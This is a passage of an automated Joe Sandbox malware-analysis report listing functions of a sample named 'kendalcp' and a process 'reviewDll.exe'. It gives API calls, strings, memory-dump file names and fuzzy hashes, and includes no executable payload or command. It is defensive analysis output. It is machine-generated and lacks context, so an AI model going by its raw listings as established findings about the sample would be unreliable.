Opcode Fuzzy Hash: 6e9f9e3aa9a2e56c374d3de050bfb2b522bd0037811b87fd90bbd9fa5482fce8
Instruction Fuzzy Hash: 90218571604305DFDB189F68C8A5AAA77A8FF48711F14C56DF9098B2C2DB78EC42CB61

Function 0071D44D Relevance: 5.3, APIs: 1, Strings: 2, Instructions: 70COMMON

Download Yara Rule

APIs

DialogBoxParamW.USER32(GETPASSWORD1,0001046C,0071A990,?,?), ref: 0071D4C5

Strings

xju, xrefs: 0071D4D5
GETPASSWORD1, xrefs: 0071D4BA

Memory Dump Source

Source File: 00000003.00000002.1761256850.0000000000701000.00000020.00000001.01000000.00000007.sdmp, Offset: 00700000, based on PE: true

Associated: 00000003.00000002.1761243141.0000000000700000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.1761309654.0000000000733000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.1761324975.000000000073E000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.1761324975.0000000000744000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.1761324975.0000000000761000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.1761416666.0000000000762000.00000002.00000001.01000000.00000007.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_700000_kendalcp.jbxd

Similarity

API ID: DialogParam
String ID: GETPASSWORD1$xju
API String ID: 665744214-2035766297
Opcode ID: 9e403dc168d1cec29a349ad06657424469ec42ea0b767dfdb8db20ee0a346c8f
Instruction ID: 0226c606dd2c202eff27d6b0305f5740c3f9058bb9b4ebc412795e3d464ecc37
Opcode Fuzzy Hash: 9e403dc168d1cec29a349ad06657424469ec42ea0b767dfdb8db20ee0a346c8f
Instruction Fuzzy Hash: 9D113B71600284ABEB32DE3C9C06BEB3799B70A351F188575FD45A71C1C7BC6C9097A4

Function 0070EBF2 Relevance: 5.3, APIs: 1, Strings: 2, Instructions: 69COMMON

Download Yara Rule

APIs

Part of subcall function 0070EB73: GetProcAddress.KERNEL32(00000000,CryptProtectMemory), ref: 0070EB92
Part of subcall function 0070EB73: GetProcAddress.KERNEL32(007481C0,CryptUnprotectMemory), ref: 0070EBA2

GetCurrentProcessId.KERNEL32(?,?,?,0070EBEC), ref: 0070EC84

Strings

CryptUnprotectMemory failed, xrefs: 0070EC7C
CryptProtectMemory failed, xrefs: 0070EC3B

Memory Dump Source

Source File: 00000003.00000002.1761256850.0000000000701000.00000020.00000001.01000000.00000007.sdmp, Offset: 00700000, based on PE: true

Associated: 00000003.00000002.1761243141.0000000000700000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.1761309654.0000000000733000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.1761324975.000000000073E000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.1761324975.0000000000744000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.1761324975.0000000000761000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.1761416666.0000000000762000.00000002.00000001.01000000.00000007.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_700000_kendalcp.jbxd

Similarity

API ID: AddressProc$CurrentProcess
String ID: CryptProtectMemory failed$CryptUnprotectMemory failed
API String ID: 2190909847-396321323
Opcode ID: e85aedc84bccce1eda7938bf3bc3f7e15d3e4846a8341b48609024e747c90efd
Instruction ID: 342ab9e969d0c497e7ef41dcc7a50912dfa10d74e117748578ae31c9579e3028
Opcode Fuzzy Hash: e85aedc84bccce1eda7938bf3bc3f7e15d3e4846a8341b48609024e747c90efd
Instruction Fuzzy Hash: 52112C31A04218DBFB155B34DD05A6F3794BF01714B048A1AFC055B2D1DB7E5E4187E5

Function 00729B90 Relevance: 5.3, APIs: 2, Strings: 1, Instructions: 66COMMON

Download Yara Rule

APIs

_free.LIBCMT ref: 00729BBE
_free.LIBCMT ref: 00729BE4

Strings

Xs, xrefs: 00729C4B

Memory Dump Source

Source File: 00000003.00000002.1761256850.0000000000701000.00000020.00000001.01000000.00000007.sdmp, Offset: 00700000, based on PE: true

Associated: 00000003.00000002.1761243141.0000000000700000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.1761309654.0000000000733000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.1761324975.000000000073E000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.1761324975.0000000000744000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.1761324975.0000000000761000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.1761416666.0000000000762000.00000002.00000001.01000000.00000007.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_700000_kendalcp.jbxd

Similarity

API ID: _free
String ID: Xs
API String ID: 269201875-372796199
Opcode ID: 199f251ae22be5e9693735d755abda4e9f49c604eaa41595747340c76913ee1a
Instruction ID: 2a4884c6292a7da7865c0c6bafc553ccd48c2f163e0febfd790609a62778ae10
Opcode Fuzzy Hash: 199f251ae22be5e9693735d755abda4e9f49c604eaa41595747340c76913ee1a
Instruction Fuzzy Hash: AA11E671B013219FEB609B38BC59B563395B751730F0C4625F622CB1E0E7BDC8414785

Function 0071EC4A Relevance: 5.3, APIs: 2, Strings: 1, Instructions: 60COMMONLIBRARYCODE

Download Yara Rule

APIs

IsProcessorFeaturePresent.KERNEL32(00000017), ref: 0071F25E
___raise_securityfailure.LIBCMT ref: 0071F345

Strings

8v, xrefs: 0071F340

Memory Dump Source

Source File: 00000003.00000002.1761256850.0000000000701000.00000020.00000001.01000000.00000007.sdmp, Offset: 00700000, based on PE: true

Associated: 00000003.00000002.1761243141.0000000000700000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.1761309654.0000000000733000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.1761324975.000000000073E000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.1761324975.0000000000744000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.1761324975.0000000000761000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.1761416666.0000000000762000.00000002.00000001.01000000.00000007.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_700000_kendalcp.jbxd

Similarity

API ID: FeaturePresentProcessor___raise_securityfailure
String ID: 8v
API String ID: 3761405300-3656501118
Opcode ID: ba03e33752d7072bf3791727774d57208e82f81c930daf2d64b98630d40db7e8
Instruction ID: 3bb68af6344c2a98f8405f065ebd3a829092aff361c90ca8b7082b347ad7c268
Opcode Fuzzy Hash: ba03e33752d7072bf3791727774d57208e82f81c930daf2d64b98630d40db7e8
Instruction Fuzzy Hash: B62116B5610314CBE714EF64F9816563BB4BB48310F10996AE90A8B3A1D3FA5984CBC9

Function 00710889 Relevance: 5.3, APIs: 2, Strings: 1, Instructions: 49threadCOMMON

Download Yara Rule

APIs

CreateThread.KERNEL32 ref: 007108AD
SetThreadPriority.KERNEL32(?,00000000), ref: 007108F4

Part of subcall function 00706E91: __vswprintf_c_l.LEGACY_STDIO_DEFINITIONS ref: 00706EAF

Strings

CreateThread failed, xrefs: 007108B9

Memory Dump Source

Source File: 00000003.00000002.1761256850.0000000000701000.00000020.00000001.01000000.00000007.sdmp, Offset: 00700000, based on PE: true

Associated: 00000003.00000002.1761243141.0000000000700000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.1761309654.0000000000733000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.1761324975.000000000073E000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.1761324975.0000000000744000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.1761324975.0000000000761000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.1761416666.0000000000762000.00000002.00000001.01000000.00000007.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_700000_kendalcp.jbxd

Similarity

API ID: Thread$CreatePriority__vswprintf_c_l
String ID: CreateThread failed
API String ID: 2655393344-3849766595
Opcode ID: 5ae9034903e03805a40d30edcdbf5d3ea422cd22f1f05465ee66e7d742598ce4
Instruction ID: 29f262def81ca82183f7957a24d40ccefafc9154a6f4b164b7a5dcc343a044af
Opcode Fuzzy Hash: 5ae9034903e03805a40d30edcdbf5d3ea422cd22f1f05465ee66e7d742598ce4
Instruction Fuzzy Hash: 1D01DBB5244305AFE7245F58EC45BA67399FB40711F10013DFA86561C1CEF9B8C196E4

Function 0072B2AE Relevance: 5.3, APIs: 2, Strings: 1, Instructions: 45COMMONLIBRARYCODE

Download Yara Rule

APIs

Part of subcall function 00728FA5: GetLastError.KERNEL32(?,00740EE8,00723E14,00740EE8,?,?,00723713,00000050,?,00740EE8,00000200), ref: 00728FA9
Part of subcall function 00728FA5: _free.LIBCMT ref: 00728FDC
Part of subcall function 00728FA5: SetLastError.KERNEL32(00000000,?,00740EE8,00000200), ref: 0072901D
Part of subcall function 00728FA5: _abort.LIBCMT ref: 00729023

_abort.LIBCMT ref: 0072B2E0
_free.LIBCMT ref: 0072B314

Strings

s, xrefs: 0072B30B

Memory Dump Source

Source File: 00000003.00000002.1761256850.0000000000701000.00000020.00000001.01000000.00000007.sdmp, Offset: 00700000, based on PE: true

Associated: 00000003.00000002.1761243141.0000000000700000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.1761309654.0000000000733000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.1761324975.000000000073E000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.1761324975.0000000000744000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.1761324975.0000000000761000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.1761416666.0000000000762000.00000002.00000001.01000000.00000007.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_700000_kendalcp.jbxd

Similarity

API ID: ErrorLast_abort_free
String ID: s
API String ID: 289325740-3751460905
Opcode ID: 249f0a640777c366acc0849ff00ad2cd66ac291150b73827bc3b62618c214b87
Instruction ID: 593cb42b8c79fc483f3ca55d5c8c14411bff006b0241433c89008e2bea003345
Opcode Fuzzy Hash: 249f0a640777c366acc0849ff00ad2cd66ac291150b73827bc3b62618c214b87
Instruction Fuzzy Hash: 10018071E11632DBD721EF59B80525DB3A0FF04B21B19414AE86067682CB3C6D418FD6

Function 0070130B Relevance: 5.3, APIs: 2, Strings: 1, Instructions: 37COMMON

Download Yara Rule

APIs

Part of subcall function 0070DA98: _swprintf.LIBCMT ref: 0070DABE
Part of subcall function 0070DA98: _strlen.LIBCMT ref: 0070DADF
Part of subcall function 0070DA98: SetDlgItemTextW.USER32(?,0073E154,?), ref: 0070DB3F
Part of subcall function 0070DA98: GetWindowRect.USER32(?,?), ref: 0070DB79
Part of subcall function 0070DA98: GetClientRect.USER32(?,?), ref: 0070DB85

GetDlgItem.USER32(00000000,00003021), ref: 0070134F
SetWindowTextW.USER32(00000000,007335B4), ref: 00701365

Strings

0, xrefs: 0070130E

Memory Dump Source

Source File: 00000003.00000002.1761256850.0000000000701000.00000020.00000001.01000000.00000007.sdmp, Offset: 00700000, based on PE: true

Associated: 00000003.00000002.1761243141.0000000000700000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.1761309654.0000000000733000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.1761324975.000000000073E000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.1761324975.0000000000744000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.1761324975.0000000000761000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.1761416666.0000000000762000.00000002.00000001.01000000.00000007.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_700000_kendalcp.jbxd

Similarity

API ID: ItemRectTextWindow$Client_strlen_swprintf
String ID: 0
API String ID: 2622349952-4108050209
Opcode ID: e2838397daec74bc462621052440ffbd76feb3665309c55b42bcb55195c5de95
Instruction ID: 2dc0971068a20ca93f7ecdbf041da83a1e673c70992c605fff69c24380eb9dd8
Opcode Fuzzy Hash: e2838397daec74bc462621052440ffbd76feb3665309c55b42bcb55195c5de95
Instruction Fuzzy Hash: EEF03C7010434CE6DF399F608C09BAD7BD8BB16345F488614FD4A565E2C77CC9A6EB50

Function 0071084E Relevance: 5.3, APIs: 2, Strings: 1, Instructions: 19synchronizationCOMMON

Download Yara Rule

APIs

WaitForSingleObject.KERNEL32(?,000000FF,00710A78,?), ref: 00710854
GetLastError.KERNEL32(?), ref: 00710860

Part of subcall function 00706E91: __vswprintf_c_l.LEGACY_STDIO_DEFINITIONS ref: 00706EAF

Strings

WaitForMultipleObjects error %d, GetLastError %d, xrefs: 00710869

Memory Dump Source

Source File: 00000003.00000002.1761256850.0000000000701000.00000020.00000001.01000000.00000007.sdmp, Offset: 00700000, based on PE: true

Associated: 00000003.00000002.1761243141.0000000000700000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.1761309654.0000000000733000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.1761324975.000000000073E000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.1761324975.0000000000744000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.1761324975.0000000000761000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.1761416666.0000000000762000.00000002.00000001.01000000.00000007.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_700000_kendalcp.jbxd

Similarity

API ID: ErrorLastObjectSingleWait__vswprintf_c_l
String ID: WaitForMultipleObjects error %d, GetLastError %d
API String ID: 1091760877-2248577382
Opcode ID: 838e6ea480067e90c3e6b9add24c81c009c312145ff221b0fa23514d4c2618cd
Instruction ID: 4aeb00e99ee5a576a597ef78745feb23451cee3cf3ad03d491b180e7f916e3b6
Opcode Fuzzy Hash: 838e6ea480067e90c3e6b9add24c81c009c312145ff221b0fa23514d4c2618cd
Instruction Fuzzy Hash: A8D05B71508521A6D7142724DC0EDAF79056F51731F204725F639651F5DB2D099141E5

Function 0070DA4E Relevance: 5.3, APIs: 2, Strings: 1, Instructions: 13COMMON

Download Yara Rule

APIs

GetModuleHandleW.KERNEL32(00000000,?,0070D32F,?), ref: 0070DA53
FindResourceW.KERNEL32(00000000,RTL,00000005,?,0070D32F,?), ref: 0070DA61

Strings

RTL, xrefs: 0070DA5B

Memory Dump Source

Source File: 00000003.00000002.1761256850.0000000000701000.00000020.00000001.01000000.00000007.sdmp, Offset: 00700000, based on PE: true

Associated: 00000003.00000002.1761243141.0000000000700000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.1761309654.0000000000733000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.1761324975.000000000073E000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.1761324975.0000000000744000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.1761324975.0000000000761000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.1761416666.0000000000762000.00000002.00000001.01000000.00000007.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_700000_kendalcp.jbxd

Similarity

API ID: FindHandleModuleResource
String ID: RTL
API String ID: 3537982541-834975271
Opcode ID: 17718b2727e4d5a97489631fce6da6d4c3331f4739bf350951589609ef899f2e
Instruction ID: 0427da0022983d0e4c38d518ba0007f9e75ba0a3947c4da8fed872e7ea3b0218
Opcode Fuzzy Hash: 17718b2727e4d5a97489631fce6da6d4c3331f4739bf350951589609ef899f2e
Instruction Fuzzy Hash: 56C01271385350B6F73417607D0DB432A499B10B13F05444CB141DE1D0D5EDDD408650

Analysis Process: reviewDll.exePID: 6128, Parent PID: 6928COMMON

Executed Functions

Function 00007FFD9B8B06C0 Relevance: 1.5, Strings: 1, Instructions: 226COMMON

Download Yara Rule

Strings

_, xrefs: 00007FFD9B8B0839

Memory Dump Source

Source File: 0000000B.00000002.1857743625.00007FFD9B8B0000.00000040.00000800.00020000.00000000.sdmp, Offset: 00007FFD9B8B0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_11_2_7ffd9b8b0000_reviewDll.jbxd

Similarity

API ID:
String ID: _
API String ID: 0-701932520
Opcode ID: 717f8c430587d69bff6b8e153607c5d7bc5064a5dbd9bdbced03edcd2a94e92e
Instruction ID: 8e7f4688ad3c0291ae3e02c32ad6a8714559fecc6ed3e9f945373e136a648169
Opcode Fuzzy Hash: 717f8c430587d69bff6b8e153607c5d7bc5064a5dbd9bdbced03edcd2a94e92e
Instruction Fuzzy Hash: DC617952B1F6C50FE36153BC6C250B97BA0EF5675070902F7E098870FBEC15AA068BC6

Function 00007FFD9B8B0805 Relevance: 1.3, Strings: 1, Instructions: 86COMMON

Download Yara Rule

Strings

_, xrefs: 00007FFD9B8B0839

Memory Dump Source

Source File: 0000000B.00000002.1857743625.00007FFD9B8B0000.00000040.00000800.00020000.00000000.sdmp, Offset: 00007FFD9B8B0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_11_2_7ffd9b8b0000_reviewDll.jbxd

Similarity

API ID:
String ID: _
API String ID: 0-701932520
Opcode ID: 7c374465f6c05af26e5234e8d8fa4bbeebc03103470dc5229e6ed025b3659caa
Instruction ID: 8dce51096560b18bd9ab5135ca2599a3cef86dcd345fbfaee497b3519e2d5dfd
Opcode Fuzzy Hash: 7c374465f6c05af26e5234e8d8fa4bbeebc03103470dc5229e6ed025b3659caa
Instruction Fuzzy Hash: EA21AD52B0E29B5BD71663BC9C3A5ED7B90FF51318B0900B3C05DCA0D3ED14A156C6C1

Function 00007FFD9B8B1708 Relevance: .3, Instructions: 284COMMON

Download Yara Rule

Memory Dump Source

Source File: 0000000B.00000002.1857743625.00007FFD9B8B0000.00000040.00000800.00020000.00000000.sdmp, Offset: 00007FFD9B8B0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_11_2_7ffd9b8b0000_reviewDll.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 26d5be062d49dc5e0be037020b8d7fc149d6531910bdbe907f96988d1f0f0c59
Instruction ID: 14efd3e0d0c7d7c06f77762b66a9cf92616aa0783afdad1f9ca0f66bfdbbcc80
Opcode Fuzzy Hash: 26d5be062d49dc5e0be037020b8d7fc149d6531910bdbe907f96988d1f0f0c59
Instruction Fuzzy Hash: BA81F231B2DA594FDB58EF6C88615A977E2FFD8300B14417EE45DC72A2DE34AD028B81

Function 00007FFD9B8B1CDD Relevance: .2, Instructions: 189COMMON

Download Yara Rule

Memory Dump Source

Source File: 0000000B.00000002.1857743625.00007FFD9B8B0000.00000040.00000800.00020000.00000000.sdmp, Offset: 00007FFD9B8B0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_11_2_7ffd9b8b0000_reviewDll.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 2882d4d610136d8b53567dde74bd045f28e79b8fd7258ed5b1741608e384173e
Instruction ID: f84d786357b505cec586040cb546787a27486cf098abe12043e505f0563dc972
Opcode Fuzzy Hash: 2882d4d610136d8b53567dde74bd045f28e79b8fd7258ed5b1741608e384173e
Instruction Fuzzy Hash: 7E510131B19B594FDB58DF1888645BA77E2FF98300B14417ED45ACB291DE34E802CB81

Function 00007FFD9B8B35E5 Relevance: .2, Instructions: 167COMMON

Download Yara Rule

Memory Dump Source

Source File: 0000000B.00000002.1857743625.00007FFD9B8B0000.00000040.00000800.00020000.00000000.sdmp, Offset: 00007FFD9B8B0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_11_2_7ffd9b8b0000_reviewDll.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 91f443ff6f9fe1e1ddccdba414ed1bceb89ea2193c65fdc1f991b694fc3ce15c
Instruction ID: 994f3edcfa8a9820920fd8128e49955fe7989864c80c09e42ddcfaf1a9edf118
Opcode Fuzzy Hash: 91f443ff6f9fe1e1ddccdba414ed1bceb89ea2193c65fdc1f991b694fc3ce15c
Instruction Fuzzy Hash: ED51C131E0995E8FEB98DBA8C825BED7BE1FF5A300F45017AD00DD72D6DA3469018B81

Function 00007FFD9B8B31D5 Relevance: .1, Instructions: 144COMMON

Download Yara Rule

Memory Dump Source

Source File: 0000000B.00000002.1857743625.00007FFD9B8B0000.00000040.00000800.00020000.00000000.sdmp, Offset: 00007FFD9B8B0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_11_2_7ffd9b8b0000_reviewDll.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: dcbc8f7ddf40e14d2e8fd509924fbef2c9847ee12424710cd7a4f442da1cf67b
Instruction ID: 502bbe25f7bacfd3b69fa9c207ac2f7450559783130fb247392eab8afba85cf9
Opcode Fuzzy Hash: dcbc8f7ddf40e14d2e8fd509924fbef2c9847ee12424710cd7a4f442da1cf67b
Instruction Fuzzy Hash: FE512C71E0952E8FEB64DBA8D4646EDB7F1EF49301F41017AD009E71A5DA386A44CB81

Function 00007FFD9B8B20F5 Relevance: .1, Instructions: 140COMMON

Download Yara Rule

Memory Dump Source

Source File: 0000000B.00000002.1857743625.00007FFD9B8B0000.00000040.00000800.00020000.00000000.sdmp, Offset: 00007FFD9B8B0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_11_2_7ffd9b8b0000_reviewDll.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: df5ffab04d922b82141e62c31a8704fa651870e027ba33112cdcbc16fe3b877a
Instruction ID: a6b38ec1cd86f6683b27bc52a0ba205a8bc752b43798f90623f3ce70b6f48deb
Opcode Fuzzy Hash: df5ffab04d922b82141e62c31a8704fa651870e027ba33112cdcbc16fe3b877a
Instruction Fuzzy Hash: 70417B31B0E69A4FE366DBB898655B97BD0EF4A310B0545FBD01CC71E2DE28B9418781

Function 00007FFD9B8B374E Relevance: .1, Instructions: 131COMMON

Download Yara Rule

Memory Dump Source

Source File: 0000000B.00000002.1857743625.00007FFD9B8B0000.00000040.00000800.00020000.00000000.sdmp, Offset: 00007FFD9B8B0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_11_2_7ffd9b8b0000_reviewDll.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: d6fa0a8542f3a85f0f417e4e2c22f9c3d987ca99621577d7b68120fdfff01064
Instruction ID: 2b1382a9957c9ebf3c5f618fd720270a873f78699163d02f4a02a280ba7ce6cc
Opcode Fuzzy Hash: d6fa0a8542f3a85f0f417e4e2c22f9c3d987ca99621577d7b68120fdfff01064
Instruction Fuzzy Hash: 3141C571A1D90E8FE75CDB6C98647AD7BE5EB8A354F9002BAD00CD72CADBB414058741

Function 00007FFD9B8B33CF Relevance: .1, Instructions: 92COMMON

Download Yara Rule

Memory Dump Source

Source File: 0000000B.00000002.1857743625.00007FFD9B8B0000.00000040.00000800.00020000.00000000.sdmp, Offset: 00007FFD9B8B0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_11_2_7ffd9b8b0000_reviewDll.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: d87ed498f661705b85067416c46e68018eb55b4265b620c5a76692a4d458c43b
Instruction ID: e2653b2a4f458c146dc29272d601e28c01274240f96d23f73f3be47e6d73a08d
Opcode Fuzzy Hash: d87ed498f661705b85067416c46e68018eb55b4265b620c5a76692a4d458c43b
Instruction Fuzzy Hash: 0721BF3094E69D4FD752EBB488585A97BF0FF5A310F0505BBD448CB062DA38A646CB91

Function 00007FFD9B8B3308 Relevance: .1, Instructions: 78COMMON

Download Yara Rule

Memory Dump Source

Source File: 0000000B.00000002.1857743625.00007FFD9B8B0000.00000040.00000800.00020000.00000000.sdmp, Offset: 00007FFD9B8B0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_11_2_7ffd9b8b0000_reviewDll.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: cc3bf88c80ae9608b16838a44c40254de1c1ba2e2b0128c7c101b59a9af25c92
Instruction ID: ac5a8cb56379a90fc79d870ca60637e8bd8d3d8117f56adb23af72973e3519dd
Opcode Fuzzy Hash: cc3bf88c80ae9608b16838a44c40254de1c1ba2e2b0128c7c101b59a9af25c92
Instruction Fuzzy Hash: A821C771A0952D8FDB68EFA8D464AEDBBF1EF58301F11416AD009E72A5DA346940CF50

Function 00007FFD9B8B3565 Relevance: .1, Instructions: 75COMMON

Download Yara Rule

Memory Dump Source

Source File: 0000000B.00000002.1857743625.00007FFD9B8B0000.00000040.00000800.00020000.00000000.sdmp, Offset: 00007FFD9B8B0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_11_2_7ffd9b8b0000_reviewDll.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 3c1c416d4f8168de8aa28107db4588d94722b0303a75c71fffabfc9127f59ccd
Instruction ID: 49794d264ac3849ac5ab8832eef468080fb861ff975219673e8811f16099f064
Opcode Fuzzy Hash: 3c1c416d4f8168de8aa28107db4588d94722b0303a75c71fffabfc9127f59ccd
Instruction Fuzzy Hash: 70214F30A1A65E8FEB65EF748869AF97BA0FF18304F41047AD419C20A1EA35E6548B81

Function 00007FFD9B8B0A01 Relevance: .1, Instructions: 69COMMON

Download Yara Rule

Memory Dump Source

Source File: 0000000B.00000002.1857743625.00007FFD9B8B0000.00000040.00000800.00020000.00000000.sdmp, Offset: 00007FFD9B8B0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_11_2_7ffd9b8b0000_reviewDll.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: ef879f3e1f9b260ef82312edf505c9475b5838a89dfab0674b6833b164b08168
Instruction ID: f96e4235e95701a40d0a04bbf9b09b72de54fceb1a9e582e9e743d779465ced8
Opcode Fuzzy Hash: ef879f3e1f9b260ef82312edf505c9475b5838a89dfab0674b6833b164b08168
Instruction Fuzzy Hash: E011B230E2A51E4FE790EFB888695FD77E0FF58740F4159B6D418C70A6EE34A6408B80

Function 00007FFD9B8B112D Relevance: .1, Instructions: 62COMMON

Download Yara Rule

Memory Dump Source

Source File: 0000000B.00000002.1857743625.00007FFD9B8B0000.00000040.00000800.00020000.00000000.sdmp, Offset: 00007FFD9B8B0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_11_2_7ffd9b8b0000_reviewDll.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: f21ae3f278e6ab6177dbd9884af622620eb265d4cc28364c191df2d8f51f209b
Instruction ID: 7766a9e0a13b5a50dcf76827446c2fdfdc412f167370e15d8b098a36afc3bd60
Opcode Fuzzy Hash: f21ae3f278e6ab6177dbd9884af622620eb265d4cc28364c191df2d8f51f209b
Instruction Fuzzy Hash: B011E970A1A65E4EEB65AB78C4656B97BF0FF5A310F0111BFD019CA1E2DE255140CB40

Function 00007FFD9B8B05D8 Relevance: .0, Instructions: 50COMMON

Download Yara Rule

Memory Dump Source

Source File: 0000000B.00000002.1857743625.00007FFD9B8B0000.00000040.00000800.00020000.00000000.sdmp, Offset: 00007FFD9B8B0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_11_2_7ffd9b8b0000_reviewDll.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 96a9930404efd7b422dd0b58e889aafa06bb0eb92c7c5986958d7943a9ba8d1d
Instruction ID: 34a5f4ee7f42397292de15e6e0f79b1e52ddc620f92116182d2a69757ff095ce
Opcode Fuzzy Hash: 96a9930404efd7b422dd0b58e889aafa06bb0eb92c7c5986958d7943a9ba8d1d
Instruction Fuzzy Hash: 7F018C30A1991E8EEB99EF64C0686BA77A1FF58304F61407ED40EC61A4CA35A650CB80

Function 00007FFD9B8B288D Relevance: .0, Instructions: 47COMMON

Download Yara Rule

Memory Dump Source

Source File: 0000000B.00000002.1857743625.00007FFD9B8B0000.00000040.00000800.00020000.00000000.sdmp, Offset: 00007FFD9B8B0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_11_2_7ffd9b8b0000_reviewDll.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: cfdfe312119cc081ef826530a5979ee5ea2e5bc419d2be885e7d522ca097ab8d
Instruction ID: a9362b6aeef2f3a69b5688f794c8a7bbcfbaa928a09d32d05e18d4bd9bce6c9c
Opcode Fuzzy Hash: cfdfe312119cc081ef826530a5979ee5ea2e5bc419d2be885e7d522ca097ab8d
Instruction Fuzzy Hash: 48017130A1A65E4FE761AFB488595A97BE0FF59300F0645B6D418C70A6EA38E5848B81

Function 00007FFD9B8B2F29 Relevance: .0, Instructions: 43COMMON

Download Yara Rule

Memory Dump Source

Source File: 0000000B.00000002.1857743625.00007FFD9B8B0000.00000040.00000800.00020000.00000000.sdmp, Offset: 00007FFD9B8B0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_11_2_7ffd9b8b0000_reviewDll.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 38bf8d34a8fcfbec94ced786c6a273f3246f88e3872d69fd6f0bb39b10c4956d
